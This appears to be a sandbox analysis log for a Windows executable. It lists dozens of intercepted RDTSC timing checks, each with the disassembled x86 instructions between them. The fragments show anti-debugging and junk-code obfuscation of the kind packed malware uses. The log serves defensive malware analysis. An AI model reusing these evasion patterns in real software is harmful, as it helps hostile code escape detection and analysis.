Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D30C second address: 140D3A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F8F34B47B58h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D1B66h] 0x0000002a call 00007F8F34B47B5Ah 0x0000002f push edi 0x00000030 jmp 00007F8F34B47B5Dh 0x00000035 pop edi 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 mov edi, dword ptr [ebp+122D2573h] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007F8F34B47B58h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 00000014h 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b jmp 00007F8F34B47B65h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F8F34B47B5Ah 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D4EF second address: 140D508 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8F347F9F21h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140D508 second address: 140D588 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F34B47B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F8F34B47B58h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 call 00007F8F34B47B64h 0x0000002d mov dword ptr [ebp+122D1C4Eh], eax 0x00000033 pop ebx 0x00000034 push dword ptr fs:[00000000h] 0x0000003b mov dword ptr [ebp+1245DEBEh], eax 0x00000041 mov dword ptr fs:[00000000h], esp 0x00000048 mov edi, 0D853114h 0x0000004d mov di, bx 0x00000050 mov eax, dword ptr [ebp+122D0939h] 0x00000056 mov ebx, dword ptr [ebp+122D38BFh] 0x0000005c push FFFFFFFFh 0x0000005e sub bx, 2611h 0x00000063 push eax 0x00000064 push esi 0x00000065 push eax 0x00000066 push edx 0x00000067 push edx 0x00000068 pop edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14123E7 second address: 14123EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BBAF1 second address: 13BBAF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BBAF7 second address: 13BBAFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412A29 second address: 1412A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F8F34B47B5Ch 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jnc 00007F8F34B47B67h 0x00000014 jnp 00007F8F34B47B5Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14139CF second address: 14139D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412B92 second address: 1412B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412C40 second address: 1412C66 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F347F9F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F347F9F28h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413BCD second address: 1413C98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F8F34B47B58h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+122D356Bh] 0x0000002d push dword ptr fs:[00000000h] 0x00000034 jmp 00007F8F34B47B64h 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 push edi 0x00000041 jmp 00007F8F34B47B62h 0x00000046 pop ebx 0x00000047 mov eax, dword ptr [ebp+122D16B1h] 0x0000004d push 00000000h 0x0000004f push ecx 0x00000050 call 00007F8F34B47B58h 0x00000055 pop ecx 0x00000056 mov dword ptr [esp+04h], ecx 0x0000005a add dword ptr [esp+04h], 00000019h 0x00000062 inc ecx 0x00000063 push ecx 0x00000064 ret 0x00000065 pop ecx 0x00000066 ret 0x00000067 jl 00007F8F34B47B56h 0x0000006d sub edi, 5673363Dh 0x00000073 push FFFFFFFFh 0x00000075 jmp 00007F8F34B47B61h 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jl 00007F8F34B47B5Ch 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413C98 second address: 1413C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413C9E second address: 1413CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417923 second address: 141792D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F347F9F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141792D second address: 141793B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007F8F34B47B56h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141793B second address: 141795E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F8F347F9F1Ch 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jnp 00007F8F347F9F16h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141795E second address: 1417963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417963 second address: 1417968 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1417968 second address: 141796E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419DAB second address: 1419DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419DAF second address: 1419DB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419DB3 second address: 1419DB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419DB9 second address: 1419DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419E62 second address: 1419E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1414A9E second address: 1414AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418194 second address: 141819F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1414AA4 second address: 1414AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1414AA8 second address: 1414AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1414AAC second address: 1414ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jnp 00007F8F34B47B5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141AD2B second address: 141AD2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A09B second address: 141A09F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141A09F second address: 141A0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F719 second address: 141F71D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141F71D second address: 141F733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F347F9F20h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142318C second address: 1423190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1423190 second address: 14231A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F8F347F9F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8F347F9F1Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14231A9 second address: 14231B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14231B0 second address: 14231BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F8F347F9F16h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC489 second address: 13CC48D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC48D second address: 13CC4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8F347F9F1Ch 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jc 00007F8F347F9F16h 0x00000015 jc 00007F8F347F9F16h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC4B0 second address: 13CC4B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426C0B second address: 1426C29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F29h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1427089 second address: 142708F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C1BF second address: 142C1C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142C1C5 second address: 142C249 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F34B47B65h 0x00000008 jmp 00007F8F34B47B5Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F8F34B47B64h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a jmp 00007F8F34B47B66h 0x0000001f pushad 0x00000020 jmp 00007F8F34B47B66h 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 popad 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b pushad 0x0000002c jmp 00007F8F34B47B69h 0x00000031 push eax 0x00000032 push edx 0x00000033 push edx 0x00000034 pop edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431A10 second address: 1431A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8F347F9F16h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431A1C second address: 1431A20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431A20 second address: 1431A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431A2C second address: 1431A5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F8F34B47B69h 0x00000010 jmp 00007F8F34B47B63h 0x00000015 jmp 00007F8F34B47B5Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431D19 second address: 1431D30 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8F347F9F1Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432136 second address: 143215E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8F34B47B56h 0x00000008 jmp 00007F8F34B47B64h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F8F34B47B56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143215E second address: 1432162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436931 second address: 1436966 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B65h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F8F34B47B61h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436966 second address: 143696C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143696C second address: 1436970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436970 second address: 1436974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143575E second address: 1435765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1435765 second address: 143576A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143576A second address: 1435772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140119A second address: 13E7F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F8F347F9F23h 0x0000000d nop 0x0000000e call 00007F8F347F9F1Dh 0x00000013 call 00007F8F347F9F27h 0x00000018 jmp 00007F8F347F9F25h 0x0000001d pop edi 0x0000001e pop ecx 0x0000001f lea eax, dword ptr [ebp+12482F5Bh] 0x00000025 push ecx 0x00000026 adc di, 1B1Dh 0x0000002b pop ecx 0x0000002c push eax 0x0000002d jmp 00007F8F347F9F1Bh 0x00000032 mov dword ptr [esp], eax 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F8F347F9F18h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000018h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov edi, dword ptr [ebp+122D18EDh] 0x00000055 call dword ptr [ebp+122D1BBEh] 0x0000005b pushad 0x0000005c jng 00007F8F347F9F1Eh 0x00000062 js 00007F8F347F9F16h 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401713 second address: 1401717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401717 second address: 1401734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F347F9F1Dh 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401734 second address: 1401738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401738 second address: 140175D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d jp 00007F8F347F9F1Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140175D second address: 140177D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jc 00007F8F34B47B6Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8F34B47B5Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140177D second address: 1401794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add cx, CE5Fh 0x0000000c push 25342E72h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14018E7 second address: 14018ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14018ED second address: 14018F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401947 second address: 1401989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F34B47B69h 0x0000000b popad 0x0000000c mov dword ptr [esp], esi 0x0000000f xor cl, 00000050h 0x00000012 nop 0x00000013 push ecx 0x00000014 pushad 0x00000015 jns 00007F8F34B47B56h 0x0000001b jmp 00007F8F34B47B5Bh 0x00000020 popad 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401989 second address: 140198D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401B56 second address: 1401B87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c jnc 00007F8F34B47B56h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8F34B47B5Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14021D5 second address: 14021DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14024BE second address: 14024C3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14024C3 second address: 14024D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14024D0 second address: 14024D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14024D4 second address: 13E8AD7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 cmc 0x00000009 call dword ptr [ebp+122D2504h] 0x0000000f pushad 0x00000010 push eax 0x00000011 jne 00007F8F347F9F16h 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8F347F9F1Eh 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E8AD7 second address: 13E8ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E8ADD second address: 13E8AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1435A12 second address: 1435A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1435A27 second address: 1435A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1435A2B second address: 1435A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8F34B47B60h 0x0000000c jng 00007F8F34B47B56h 0x00000012 jp 00007F8F34B47B56h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jbe 00007F8F34B47B68h 0x00000022 jmp 00007F8F34B47B62h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436329 second address: 1436334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8F347F9F16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436334 second address: 1436350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B61h 0x00000007 pushad 0x00000008 js 00007F8F34B47B56h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143D94E second address: 143D958 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F347F9F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
